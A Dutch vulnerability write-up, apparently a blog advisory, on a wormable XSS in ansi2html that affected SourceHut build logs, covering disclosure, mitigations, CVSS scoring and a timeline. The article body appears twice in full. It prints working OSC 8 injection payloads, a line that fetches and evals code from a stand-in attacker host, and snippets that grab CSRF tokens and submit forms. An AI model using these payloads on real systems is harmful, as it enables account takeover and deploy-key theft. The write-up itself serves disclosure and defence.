Arusekk heeft een kritieke XSS-kwetsbaarheid ontdekt in ansi2html, een tool die door SourceHut (builds.sr.ht) wordt gebruikt om ANSI-escapecodes in build-logs om te zetten naar HTML.
Technische details: De bug bevindt zich in de manier waarop OSC 8-hyperlinks worden geparsed. Een aanvaller kan kwaadaardige input injecteren waardoor HTML-attributen zoals onfocus worden toegevoegd aan de output, wat leidt tot de uitvoering van willekeurige JavaScript in de browser van de bezoeker.
Impact: De kwetsbaarheid is 'wormable'. Door JavaScript uit te voeren, kan een aanvaller CSRF-tokens stelen, zichzelf beheerderrechten toekennen of toegang krijgen tot gevoelige deploy keys. De auteur classificeert de ernst als Hoog tot Kritiek.
Oplossing: SourceHut heeft de build-logs gepatcht door de output automatisch te sanitizen. Daarnaast is de upstream-bibliotheek ansi2html bijgewerkt naar versie 1.9.4 om het lek definitief te dichten.
SourceHut accountovername via build-logs (XSS in ansi2html.py) | CVE-2026-92973
Datum: 23 september 2026 Auteur: Arusekk
Welkom bij mijn eerste write-up over een kwetsbaarheid met grote impact! Om de context te schetsen: ik had onlangs het idee om een eigen sr.ht-instantie op te zetten die mensen zou betalen voor het hosten van hun projecten.
Structuur van SourceHut
SourceHut is opgebouwd uit verschillende microservices. De belangrijkste zijn meta.sr.ht en waarschijnlijk git.sr.ht of hub.sr.ht (de hoofdinstantie host deze simpelweg op sr.ht). Daarnaast is er builds.sr.ht, de CI-dienst. Een minder bekende service is mirror.sr.ht (dat langzaam verhuist naar mirror.srht.network), die vooraf gebouwde pakketten voor diverse microservices bevat.
Ik waardeer deze aanpak, omdat het een zeer eenvoudige start mogelijk maakt op elke machine die exact overeenkomt met de distributieversie van de hoofdinstantie. Voor projecten die installatie via curl|sudo bash aanbevelen, is het raadzaam om te kijken naar de optie van het distribueren van software via daadwerkelijke softwarepakketten [1].
Het bouwen van Alpine-pakketten
Wie een andere distributie gebruikt, of zelfs een andere versie van Alpine, moet zelf aan de slag. Er is de sr.ht-apkbuilds repo, die je kunt 'forken' om je eigen signing key, Alpine-versie en mirror te gebruiken. Er bestaat ook sr.ht-pkgbuilds voor Arch, maar deze wordt op dit moment feitelijk niet meer onderhouden [2].
Dit proces maakt gebruik van builds.sr.ht om de pakketten te bootstrappen. Tijdens het gebruik merkte ik dat de build-log niet scrollde naar de gewenste plek, wat me ertoe aanzette om naar de broncode van de pagina te kijken. Daar vond ik het volgende:
/* ... */
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
/* ... */
Ik besloot uit te zoeken hoe dit werd aangepakt, om het eventueel te kunnen herstellen. Aangezien er onnodig rekenvermogen en bandbreedte verloren gaat, wilde ik dit optimaliseren [3].
ansi2html
Ik heb gekeken naar de logica die ANSI-escapecodes converteert naar HTML en heb hierover een issue aangemaakt. Omdat er op dat moment al meer dan een jaar geen activiteit in de repo was, ben ik zelf aan de slag gegaan en heb ik een PR ingediend om dit specifieke probleem op te lossen.
Vanwege mijn achtergrond in Capture The Flag (CTF) ben ik ansi2html verder gaan onderzoeken op zoek naar meer bugs. Naast het parsen van escape-sequenties voor kleuren, ondersteunt de tool ook automatische links en OSC 8-hyperlinks. Omdat de code nog niet goed gestructureerd was, kon ik een kwaadaardige inputstring maken:
$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html
Dit resulteert in de volgende HTML-output:
<a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a>
Een ander voorbeeld:
$ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html
Output:
<a href="javascript:alert`xss`">Nothing to see here</a>
Het eerste voorbeeld is een nadere uitleg waard. Het parseert naar dezelfde DOM-boom als:
<a
href="https://example.com/"
autofocus
tabindex="1"
onfocus="alert`xss`">
Nothing to see here
</a>
Als je in staat bent om <0xE2><0x90><0x9B>]8;;https://example.com/"/...<0xE2><0x90><0x87> in de job-logs te krijgen — wat mogelijk is zonder account door een patch naar een publieke mailinglijst te sturen met CI ingeschakeld, of door controle te hebben over een externe resource die in de log wordt geprint — dan heb je een build-job gecreëerd waarbij de payload wordt uitgevoerd in elke browser die de log bekijkt.
Weaponization (niet thuis proberen)
De werkelijke payload zou gedownload kunnen worden van de website van een aanvaller, bijvoorbeeld via: eval(await (await fetch('https://example.com')).text()).
Wat dit zou kunnen doen: De pagina met de build-log bevat al het CSRF-token. Dit kan worden uitgelezen met document.querySelector('[name=csrftoken]').value of door het bestaande formulier van de 'Resubmit build'-knop te gebruiken: document.querySelector('[name=manifest]').value='something'; document.forms[0].submit();
Zodra een beheerder de log bekijkt, zou een aanvaller zichzelf beheerderrechten kunnen geven. Het ergste scenario is dat men toegang krijgt tot alle deploy keys. Op builds.sr.ht zijn er deploy keys voor sr.ht zelf.
Let op: test 'worms' alleen op je eigen infrastructuur, nooit op productieomgevingen.
Defense in Depth
Hoe kan dit worden voorkomen?
- Content-Security-Policy (CSP): Het verwijderen van
unsafe-inline zou een goede eerste stap zijn (hoewel inline-scripts momenteel nog worden gebruikt op de build-log pagina voor het scrollen).
- Extra sanitization: SourceHut heeft dit toegevoegd, maar het is nu zo strikt dat er geen kleuren meer worden weergegeven.
- Code-herstructurering: Het ombouwen van
ansi2html naar een stateful transducer automaton.
Rapportage en Upstream
Ik heb direct gemaild naar ~sircmpwn/sr.ht-security@lists.sr.ht met een uitleg van het probleem en een fix. Drew DeVault heeft builds.sr.ht vervolgens gepatcht om de output van ansi2html automatisch te sanitizen.
Daarna heb ik contact opgenomen met de upstream-maintainers van ansi2html. Het project bevindt zich onder de pycontribs organisatie op GitHub. Na contact met Sebastian Pipping is ansi2html weer actief gemaakt, zijn verouderde scripts bijgewerkt en zijn er meerdere versies naar PyPI gepubliceerd.
CVE en CVSS-score
Naar mijn mening is CVSS-scoring vaak problematisch omdat het een gemiddelde probeert te zijn, terwijl de impact per product verschilt.
Voor deze XSS-kwetsbaarheid is de aanpak: het web-service is het Vulnerable System en de browser is het Subsequent System.
CVSS Vector Analyse:
- AV:N (Attack Vector): Netwerk
- AC:L (Attack Complexity): Laag
- AT:N (Attack Requirements): Geen
- PR:N (Privileges Required): Geen
- UI:P (User Interaction): Passief (slachtoffer moet pagina bezoeken met JS aan)
Vulnerable System (builds.sr.ht / sr.ht):
- VC:H (Confidentiality): Hoog (geheimen worden blootgesteld)
- VI:H (Integrity): Hoog (aanvaller kan malicious jobs indienen als slachtoffer)
- VA:N (Availability): Geen
Subsequent System (browser van slachtoffer):
- SC:L (Confidentiality): Laag
- SI:L (Integrity): Laag
- SA:N (Availability): Geen
Aanvullend:
- AU:Y (Automatable): Ja (wormable)
- R:I (Recovery): Onherstelbaar (gebruikers kunnen build-jobs niet verwijderen, alleen verbergen)
- V:C (Value Density): Geconcentreerd (één instantie host veel waardevolle projecten)
- RE:L (Response Effort): Laag (mitigatie via CSP header op proxy-niveau)
- U:Amber (Urgency): Matig
Ik zou deze kwetsbaarheid classificeren als Hoog of Kritiek. Als een blackhat ervoor had gezorgd dat Drew een beïnvloede build-log bezocht met JS aan, had de aanvaller een build-job kunnen indienen in zijn naam met toegang tot de SourceHut deploy keys.
Kwetsbare versies
ansi2html >=1.7.0, <1.9.4
builds.sr.ht >= 0.40.0, < 0.105.1
Indicatoren van compromittering (IoC)
Controleer je ruwe build-logs op: <0xE2><0x90><0x9B>]8;;https://example.com/"/...<0xE2><0x90><0x87> of <0xE2><0x90><0x9B>]8;;javascript:...<0xE2><0x90><0x87>.
In Bash kan dit met: grep $'\33]8;[^\7\33]*"'
Tijdlijn
- 2019-03-11:
ansi2html wordt toegevoegd aan builds.sr.ht en sr.ht-apkbuilds.
- 2021-09-03: De bug wordt geïntroduceerd in de upstream versie van
ansi2html.
- 2022-02-08: Een beïnvloede versie wordt gepackaged voor Alpine en gaat live op de hoofdinstantie.
- 2022-07-10: Een beïnvloede versie wordt gepackaged voor Arch Linux.
- 2026-07-31: Ik begin te werken met SourceHut.
- 2026-08-01: Ik dien het issue en de PR voor de TrueColor bug in bij
ansi2html upstream en stuur een preliminaire patch naar de SourceHut security mailinglijst.
- 2026-08-04: De bug wordt gemitigeerd in de
builds.sr.ht code; Drew DeVault bevestigt de kwetsbaarheid.
- 2026-08-06: Bug gemeld bij upstream en direct erkend.
- 2026-08-22: Sebastian Pipping reageert; planning voor herstel wordt gemaakt.
- 2026-09-02: PR met de definitieve fix wordt gepusht en versie 1.9.4 wordt gepubliceerd.
- 2026-09-05: Arch Linux update
ansi2html naar een gefixte versie.
- 2026-09-23: Publicatie van deze blogpost.
Samenvatting
Vulnerability research hoeft geen circus of bureaucratische strijd te zijn. In dit geval bleef builds.sr.ht bijna 4,5 jaar kwetsbaar.
***
Voetnoten: [1] Verwijs naar het belang van softwarepakketten boven curl|sudo bash installaties. [2] Patches voor Arch Linux kunnen mogelijk nog steeds worden verzonden voor wie zelf sr.ht host op Arch. [3] Verwijst naar de noodzaak om bandbreedte-impact te meten bij updates van ansi2html in sr.ht-apkbuilds.
SourceHut accountovername via build-logs (XSS in ansi2html.py) | CVE-2026-92973
Datum: 23 september 2026 Auteur: Arusekk
Welkom bij mijn eerste write-up over een kwetsbaarheid met grote impact! Om de context te schetsen: ik had onlangs het idee om een eigen sr.ht-instantie op te zetten die mensen zou betalen voor het hosten van hun projecten.
Structuur van SourceHut
SourceHut is opgebouwd uit verschillende microservices. De belangrijkste zijn meta.sr.ht en waarschijnlijk git.sr.ht of hub.sr.ht (de hoofdinstantie host deze simpelweg op sr.ht). Daarnaast is er builds.sr.ht, de CI-dienst. Een minder bekende service is mirror.sr.ht (dat langzaam verhuist naar mirror.srht.network), die vooraf gebouwde pakketten voor diverse microservices bevat.
Ik waardeer deze aanpak, omdat het een zeer eenvoudige start mogelijk maakt op elke machine die exact overeenkomt met de distributieversie van de hoofdinstantie. Voor projecten die installatie via curl|sudo bash aanbevelen, is het raadzaam om te kijken naar de optie van het distribueren van software via daadwerkelijke softwarepakketten [1].
Het bouwen van Alpine-pakketten
Wie een andere distributie gebruikt, of zelfs een andere versie van Alpine, moet zelf aan de slag. Er is de sr.ht-apkbuilds repo, die je kunt 'forken' om je eigen signing key, Alpine-versie en mirror te gebruiken. Er bestaat ook sr.ht-pkgbuilds voor Arch, maar deze wordt op dit moment feitelijk niet meer onderhouden [2].
Dit proces maakt gebruik van builds.sr.ht om de pakketten te bootstrappen. Tijdens het gebruik merkte ik dat de build-log niet scrollde naar de gewenste plek, wat me ertoe aanzette om naar de broncode van de pagina te kijken. Daar vond ik het volgende:
/* ... */
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
/* ... */
Ik besloot uit te zoeken hoe dit werd aangepakt, om het eventueel te kunnen herstellen. Aangezien er onnodig rekenvermogen en bandbreedte verloren gaat, wilde ik dit optimaliseren [3].
ansi2html
Ik heb gekeken naar de logica die ANSI-escapecodes converteert naar HTML en heb hierover een issue aangemaakt. Omdat er op dat moment al meer dan een jaar geen activiteit in de repo was, ben ik zelf aan de slag gegaan en heb ik een PR ingediend om dit specifieke probleem op te lossen.
Vanwege mijn achtergrond in Capture The Flag (CTF) ben ik ansi2html verder gaan onderzoeken op zoek naar meer bugs. Naast het parsen van escape-sequenties voor kleuren, ondersteunt de tool ook automatische links en OSC 8-hyperlinks. Omdat de code nog niet goed gestructureerd was, kon ik een kwaadaardige inputstring maken:
$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html
Dit resulteert in de volgende HTML-output:
<a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a>
Een ander voorbeeld:
$ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html
Output:
<a href="javascript:alert`xss`">Nothing to see here</a>
Het eerste voorbeeld is een nadere uitleg waard. Het parseert naar dezelfde DOM-boom als:
<a
href="https://example.com/"
autofocus
tabindex="1"
onfocus="alert`xss`">
Nothing to see here
</a>
Als je in staat bent om <0xE2><0x90><0x9B>]8;;https://example.com/"/...<0xE2><0x90><0x87> in de job-logs te krijgen — wat mogelijk is zonder account door een patch naar een publieke mailinglijst te sturen met CI ingeschakeld, of door controle te hebben over een externe resource die in de log wordt geprint — dan heb je een build-job gecreëerd waarbij de payload wordt uitgevoerd in elke browser die de log bekijkt.
Weaponization (niet thuis proberen)
De werkelijke payload zou gedownload kunnen worden van de website van een aanvaller, bijvoorbeeld via: eval(await (await fetch('https://example.com')).text()).
Wat dit zou kunnen doen: De pagina met de build-log bevat al het CSRF-token. Dit kan worden uitgelezen met document.querySelector('[name=csrftoken]').value of door het bestaande formulier van de 'Resubmit build'-knop te gebruiken: document.querySelector('[name=manifest]').value='something'; document.forms[0].submit();
Zodra een beheerder de log bekijkt, zou een aanvaller zichzelf beheerderrechten kunnen geven. Het ergste scenario is dat men toegang krijgt tot alle deploy keys. Op builds.sr.ht zijn er deploy keys voor sr.ht zelf.
Let op: test 'worms' alleen op je eigen infrastructuur, nooit op productieomgevingen.
Defense in Depth
Hoe kan dit worden voorkomen?
- Content-Security-Policy (CSP): Het verwijderen van
unsafe-inline zou een goede eerste stap zijn (hoewel inline-scripts momenteel nog worden gebruikt op de build-log pagina voor het scrollen).
- Extra sanitization: SourceHut heeft dit toegevoegd, maar het is nu zo strikt dat er geen kleuren meer worden weergegeven.
- Code-herstructurering: Het ombouwen van
ansi2html naar een stateful transducer automaton.
Rapportage en Upstream
Ik heb direct gemaild naar ~sircmpwn/sr.ht-security@lists.sr.ht met een uitleg van het probleem en een fix. Drew DeVault heeft builds.sr.ht vervolgens gepatcht om de output van ansi2html automatisch te sanitizen.
Daarna heb ik contact opgenomen met de upstream-maintainers van ansi2html. Het project bevindt zich onder de pycontribs organisatie op GitHub. Na contact met Sebastian Pipping is ansi2html weer actief gemaakt, zijn verouderde scripts bijgewerkt en zijn er meerdere versies naar PyPI gepubliceerd.
CVE en CVSS-score
Naar mijn mening is CVSS-scoring vaak problematisch omdat het een gemiddelde probeert te zijn, terwijl de impact per product verschilt.
Voor deze XSS-kwetsbaarheid is de aanpak: het web-service is het Vulnerable System en de browser is het Subsequent System.
CVSS Vector Analyse:
- AV:N (Attack Vector): Netwerk
- AC:L (Attack Complexity): Laag
- AT:N (Attack Requirements): Geen
- PR:N (Privileges Required): Geen
- UI:P (User Interaction): Passief (slachtoffer moet pagina bezoeken met JS aan)
Vulnerable System (builds.sr.ht / sr.ht):
- VC:H (Confidentiality): Hoog (geheimen worden blootgesteld)
- VI:H (Integrity): Hoog (aanvaller kan malicious jobs indienen als slachtoffer)
- VA:N (Availability): Geen
Subsequent System (browser van slachtoffer):
- SC:L (Confidentiality): Laag
- SI:L (Integrity): Laag
- SA:N (Availability): Geen
Aanvullend:
- AU:Y (Automatable): Ja (wormable)
- R:I (Recovery): Onherstelbaar (gebruikers kunnen build-jobs niet verwijderen, alleen verbergen)
- V:C (Value Density): Geconcentreerd (één instantie host veel waardevolle projecten)
- RE:L (Response Effort): Laag (mitigatie via CSP header op proxy-niveau)
- U:Amber (Urgency): Matig
Ik zou deze kwetsbaarheid classificeren als Hoog of Kritiek. Als een blackhat ervoor had gezorgd dat Drew een beïnvloede build-log bezocht met JS aan, had de aanvaller een build-job kunnen indienen in zijn naam met toegang tot de SourceHut deploy keys.
Kwetsbare versies
ansi2html >=1.7.0, <1.9.4
builds.sr.ht >= 0.40.0, < 0.105.1
Indicatoren van compromittering (IoC)
Controleer je ruwe build-logs op: <0xE2><0x90><0x9B>]8;;https://example.com/"/...<0xE2><0x90><0x87> of <0xE2><0x90><0x9B>]8;;javascript:...<0xE2><0x90><0x87>.
In Bash kan dit met: grep $'\33]8;[^\7\33]*"'
Tijdlijn
- 2019-03-11:
ansi2html wordt toegevoegd aan builds.sr.ht en sr.ht-apkbuilds.
- 2021-09-03: De bug wordt geïntroduceerd in de upstream versie van
ansi2html.
- 2022-02-08: Een beïnvloede versie wordt gepackaged voor Alpine en gaat live op de hoofdinstantie.
- 2022-07-10: Een beïnvloede versie wordt gepackaged voor Arch Linux.
- 2026-07-31: Ik begin te werken met SourceHut.
- 2026-08-01: Ik dien het issue en de PR voor de TrueColor bug in bij
ansi2html upstream en stuur een preliminaire patch naar de SourceHut security mailinglijst.
- 2026-08-04: De bug wordt gemitigeerd in de
builds.sr.ht code; Drew DeVault bevestigt de kwetsbaarheid.
- 2026-08-06: Bug gemeld bij upstream en direct erkend.
- 2026-08-22: Sebastian Pipping reageert; planning voor herstel wordt gemaakt.
- 2026-09-02: PR met de definitieve fix wordt gepusht en versie 1.9.4 wordt gepubliceerd.
- 2026-09-05: Arch Linux update
ansi2html naar een gefixte versie.
- 2026-09-23: Publicatie van deze blogpost.
Samenvatting
Vulnerability research hoeft geen circus of bureaucratische strijd te zijn. In dit geval bleef builds.sr.ht bijna 4,5 jaar kwetsbaar.
***
Voetnoten: [1] Verwijs naar het belang van softwarepakketten boven curl|sudo bash installaties. [2] Patches voor Arch Linux kunnen mogelijk nog steeds worden verzonden voor wie zelf sr.ht host op Arch. [3] Verwijst naar de noodzaak om bandbreedte-impact te meten bij updates van ansi2html in sr.ht-apkbuilds.